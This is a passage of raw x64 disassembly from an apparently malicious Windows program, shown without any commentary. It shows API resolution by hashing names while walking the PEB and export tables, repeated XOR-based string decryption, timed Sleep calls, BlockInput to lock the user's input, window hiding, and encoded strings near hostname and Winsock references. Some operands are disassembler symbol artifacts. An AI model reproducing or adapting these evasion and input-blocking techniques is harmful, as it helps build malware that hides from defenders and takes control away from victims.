jne 0x140013620
mov rax, qword [rax]
jmp 0x1400135f0
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp - 0x44]
call rdx
movups xmm0, xmmword [0x140093060]
movups xmmword [rbp + 0x1eb8], xmm0
movups xmm1, xmmword [str._8___q]
movups xmmword [rbp + 0x1ec8], xmm1
movups xmm0, xmmword [0x140093080]
movups xmmword [rbp + 0x1ed8], xmm0
movzx eax, byte [0x140093090]
mov byte [rbp + 0x1ee8], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400137e4
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1ebc]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400136f1
cmp r8d, 0x31
jge 0x140013835
movsxd rax, r8d
lea r9, [rbp + 0x1eb8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140013800
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x1400138cb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400138cb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc35776dd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400138c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400138a0
cmp r8d, 0xa01d5e2
je 0x1400138d0
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x140013880
mov rax, qword [rax]
jmp 0x140013850
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1eb8]
call rdx
movups xmm0, xmmword [0x1400928e8]
movups xmmword [rbp + 0x1890], xmm0
movups xmm1, xmmword [0x1400928f8]
movups xmmword [rbp + 0x18a0], xmm1
movsd xmm0, qword [0x140092908]
movsd qword [rbp + 0x18b0], xmm0
movzx eax, word [0x140092910]
mov word [rbp + 0x18b8], ax
movzx eax, byte [0x140092912]
mov byte [rbp + 0x18ba], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140013a63
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1894]
mov edx, dword [rbp + 0x100]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140013970
cmp r8d, 0x2b
jge 0x140013aa5
movsxd rax, r8d
lea r9, [rbp + 0x1890]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140013a70
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x140013b3b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140013b3b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x282769d9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140013b31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013b10
cmp r8d, 0x37977136
je 0x140013b40
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x140013af0
mov rax, qword [rax]
jmp 0x140013ac0
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1890]
call rdx
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor edx, edx
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [str.M_HWVWS_am_dj_h_2_____]
movups xmmword [rbp + 0x358], xmm0
movsd xmm0, qword [0x140092b98]
movsd qword [rbp + 0x368], xmm0
mov eax, dword [0x140092ba0]
mov dword [rbp + 0x370], eax
movzx eax, byte [0x140092ba4]
mov byte [rbp + 0x374], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140013ce3
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x35c]
mov edx, dword [rbp + 0x100]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140013bf0
cmp r8d, 0x1d
jge 0x140013d25
movsxd rax, r8d
lea r9, [rbp + 0x358]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140013cf0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x140013dbb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140013dbb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x76bb0f18
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140013db1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013d90
cmp r8d, 0x3b65a719
je 0x140013dc0
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x140013d70
mov rax, qword [rax]
jmp 0x140013d40
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x358]
call rdx
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2650], xmm0
mov qword [rbp + 0x2660], rax
mov eax, dword [0x140092f60]
mov dword [rbp + 0x58], eax
movzx ecx, word [0x140092f64]
mov word [rbp + 0x5c], cx
movzx eax, byte [0x140092f66]
mov byte [rbp + 0x58], reloc.WLDAP32.dll_Ordinal_50
xor byte [rbp + 0x59], 0x3a
xor byte [rbp + 0x5a], 0x3b
xor byte [rbp + 0x5b], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x5c], cl
xor byte [rbp + 0x5d], 0x3e
xor al, 0x3f
mov byte [rbp + 0x5e], al
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0xfd8]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2650]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x25a8], xmm0
mov qword [rbp + 0x25b8], rax
mov eax, dword [0x140092798]
mov dword [rbp + 0x60], eax
movzx ecx, word [0x14009279c]
mov word [rbp + 0x64], cx
movzx eax, byte [0x14009279e]
mov byte [rbp + 0x60], gethostname
xor byte [rbp + 0x61], 0x3a
xor byte [rbp + 0x62], 0x3b
xor byte [rbp + 0x63], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x64], cl
xor byte [rbp + 0x65], 0x3e
xor al, 0x3f
mov byte [rbp + 0x66], al
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xff8]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x25a8]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2590], xmm0
mov qword [rbp + 0x25a0], rax
mov eax, dword [0x140092878]
mov dword [rbp + 0x68], eax
movzx ecx, word [0x14009287c]
mov word [rbp + 0x6c], cx
movzx eax, byte [0x14009287e]
mov byte [rbp + 0x68], gethostname
xor byte [rbp + 0x69], 0x3a
xor byte [rbp + 0x6a], 0x3b
xor byte [rbp + 0x6b], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x6c], cl
xor byte [rbp + 0x6d], 0x3e
xor al, 0x3f
mov byte [rbp + 0x6e], al
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x1018]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2590]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2578], xmm0
mov qword [rbp + 0x2588], rax
mov eax, dword [0x140092b00]
mov dword [rbp + 0x70], eax
movzx ecx, word [0x140092b04]
mov word [rbp + 0x74], cx
movzx eax, byte [0x140092b06]
mov byte [rbp + 0x70], 0x34
xor byte [rbp + 0x71], 0x3a
xor byte [rbp + 0x72], 0x3b
xor byte [rbp + 0x73], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x74], cl
xor byte [rbp + 0x75], 0x3e
xor al, 0x3f
mov byte [rbp + 0x76], al
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1038]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2578]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2560], xmm0
mov qword [rbp + 0x2570], rax
mov eax, dword [0x1400927a0]
mov dword [rbp + 0x78], eax
movzx ecx, word [0x1400927a4]
mov word [rbp + 0x7c], cx
movzx eax, byte [0x1400927a6]
mov byte [rbp + 0x78], 0x35
xor byte [rbp + 0x79], 0x3a
xor byte [rbp + 0x7a], 0x3b
xor byte [rbp + 0x7b], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x7c], cl
xor byte [rbp + 0x7d], 0x3e
xor al, 0x3f
mov byte [rbp + 0x7e], al
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x1058]
call fcn.14001afd0
mov r8, rax
lea rdx, [rbp + 0x2560]
lea rcx, [rbp + 0x3e10]
call fcn.140026ea0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x38c0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092378]
movups xmmword [rbp + 0x1bc0], xmm0
movups xmm1, xmmword [0x140092388]
movups xmmword [rbp + 0x1bd0], xmm1
movsd xmm0, qword [0x140092398]
movsd qword [rbp + 0x1be0], xmm0
mov eax, dword [0x1400923a0]
mov dword [rbp + 0x1be8], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400141a3
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1bc4]
mov edx, dword [rbp + 0x100]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400140b0
cmp r8d, 0x2c
jge 0x1400141e5
movsxd rax, r8d
lea r9, [rbp + 0x1bc0]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x1400141b0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x1bc0]
lea rcx, [rbp + 0x38c0]
call fcn.14001ab20
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x39d0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092520]
movups xmmword [rbp + 0x1860], xmm0
movups xmm1, xmmword [0x140092530]
movups xmmword [rbp + 0x1870], xmm1
movsd xmm0, qword [0x140092540]
movsd qword [rbp + 0x1880], xmm0
movzx eax, word [0x140092548]
mov word [rbp + 0x1888], ax
movzx eax, byte [0x14009254a]
mov byte [rbp + 0x188a], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140014383
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1864]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140014290
cmp r8d, 0x2b
jge 0x1400143c5
movsxd rax, r8d
lea r9, [rbp + 0x1860]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140014390
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x1860]
lea rcx, [rbp + 0x39d0]
call fcn.14001ab20
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3ae0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092d38]
movups xmmword [rbp + 0x14a8], xmm0
movups xmm1, xmmword [0x140092d48]
movups xmmword [rbp + 0x14b8], xmm1
movsd xmm0, qword [0x140092d58]
movsd qword [rbp + 0x14c8], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140014540
xor edx, edx
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x14ac]
mov r8d, dword [rbp + 0x100]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140014453
jmp 0x140014585
lea r9, [rbp + 0x14a8]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140014550
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x14a8]
lea rcx, [rbp + 0x3ae0]
call fcn.14001ab20
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3bf0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092670]
movups xmmword [rbp + 0x1200], xmm0
movups xmm1, xmmword [0x140092680]
movups xmmword [rbp + 0x1210], xmm1
mov eax, dword [0x140092690]
mov dword [rbp + 0x1220], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140014704
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1204]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140014611
cmp r8d, 0x24
jge 0x140014755
movsxd rax, r8d
lea r9, [rbp + 0x1200]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140014720
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x1200]
lea rcx, [rbp + 0x3bf0]
call fcn.14001ab20
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3d00]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140092318]
movups xmmword [rbp + 0x1160], xmm0
movups xmm1, xmmword [0x140092328]
movups xmmword [rbp + 0x1170], xmm1
mov eax, dword [0x140092338]
mov dword [rbp + 0x1180], eax
movzx eax, byte [0x14009233c]
mov byte [rbp + 0x1184], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400148e3
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1164]
mov edx, dword [rbp + 0x100]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400147f0
cmp r8d, 0x25
jge 0x140014925
movsxd rax, r8d
lea r9, [rbp + 0x1160]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
